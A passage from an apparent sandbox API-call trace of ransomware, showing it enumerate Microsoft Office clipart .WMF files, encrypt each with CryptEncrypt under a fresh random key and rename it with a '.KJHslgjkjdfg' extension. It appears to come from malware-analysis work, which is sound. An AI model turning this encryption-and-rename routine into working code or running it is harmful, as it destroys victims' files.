pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7a50, dwBufLen=0x7a50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7a50) returned 1 [0179.989] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.989] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7a50, lpOverlapped=0x0) returned 1 [0179.989] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.989] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.990] SetEndOfFile (hFile=0x114) returned 1 [0179.993] GetProcessHeap () returned 0x2a0000 [0179.993] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.993] GetProcessHeap () returned 0x2a0000 [0179.993] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.993] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.kjhslgjkjdfg")) returned 1 [0179.994] CloseHandle (hObject=0x114) returned 1 [0179.994] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1 [0179.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.996] GetProcessHeap () returned 0x2a0000 [0179.996] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.996] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.996] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.997] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0179.999] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.999] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.999] GetProcessHeap () returned 0x2a0000 [0179.999] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.999] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.999] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.999] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.999] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.999] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.000] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.000] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.000] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.000] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.000] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4c0a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4c0a, lpOverlapped=0x0) returned 1 [0180.001] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c10, dwBufLen=0x4c10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c10) returned 1 [0180.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.001] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4c10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4c10, lpOverlapped=0x0) returned 1 [0180.002] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.002] SetEndOfFile (hFile=0x114) returned 1 [0180.005] GetProcessHeap () returned 0x2a0000 [0180.005] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.005] GetProcessHeap () returned 0x2a0000 [0180.005] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.005] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.kjhslgjkjdfg")) returned 1 [0180.006] CloseHandle (hObject=0x114) returned 1 [0180.006] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1 [0180.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.007] GetProcessHeap () returned 0x2a0000 [0180.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.007] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.007] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.008] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.008] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.008] GetProcessHeap () returned 0x2a0000 [0180.008] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.008] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.008] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.008] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.010] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.010] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.011] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.011] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.011] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.011] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa0b0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa0b0, lpOverlapped=0x0) returned 1 [0180.012] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa0b0, dwBufLen=0xa0b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa0b0) returned 1 [0180.013] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.013] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa0b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa0b0, lpOverlapped=0x0) returned 1 [0180.013] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.013] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.013] SetEndOfFile (hFile=0x114) returned 1 [0180.016] GetProcessHeap () returned 0x2a0000 [0180.016] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.016] GetProcessHeap () returned 0x2a0000 [0180.016] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.kjhslgjkjdfg")) returned 1 [0180.018] CloseHandle (hObject=0x114) returned 1 [0180.018] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1 [0180.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.019] GetProcessHeap () returned 0x2a0000 [0180.019] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.019] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.019] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.020] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.022] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.022] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.022] GetProcessHeap () returned 0x2a0000 [0180.022] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.022] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.023] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.023] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.023] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.023] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.023] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.023] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.023] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.023] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.023] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.023] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.023] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4f08, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4f08, lpOverlapped=0x0) returned 1 [0180.025] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f10, dwBufLen=0x4f10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f10) returned 1 [0180.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.025] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4f10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4f10, lpOverlapped=0x0) returned 1 [0180.025] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.025] SetEndOfFile (hFile=0x114) returned 1 [0180.028] GetProcessHeap () returned 0x2a0000 [0180.028] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.028] GetProcessHeap () returned 0x2a0000 [0180.028] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.kjhslgjkjdfg")) returned 1 [0180.030] CloseHandle (hObject=0x114) returned 1 [0180.030] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1 [0180.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.032] GetProcessHeap () returned 0x2a0000 [0180.032] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.032] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.032] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.032] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.035] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.035] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.035] GetProcessHeap () returned 0x2a0000 [0180.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.035] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.035] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.035] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.036] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.036] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.036] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.036] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.036] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.036] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.036] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.036] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.036] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5398, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5398, lpOverlapped=0x0) returned 1 [0180.037] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x53a0, dwBufLen=0x53a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x53a0) returned 1 [0180.038] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.038] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x53a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x53a0, lpOverlapped=0x0) returned 1 [0180.038] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.038] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.038] SetEndOfFile (hFile=0x114) returned 1 [0180.041] GetProcessHeap () returned 0x2a0000 [0180.041] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.041] GetProcessHeap () returned 0x2a0000 [0180.041] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.kjhslgjkjdfg")) returned 1 [0180.042] CloseHandle (hObject=0x114) returned 1 [0180.042] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, 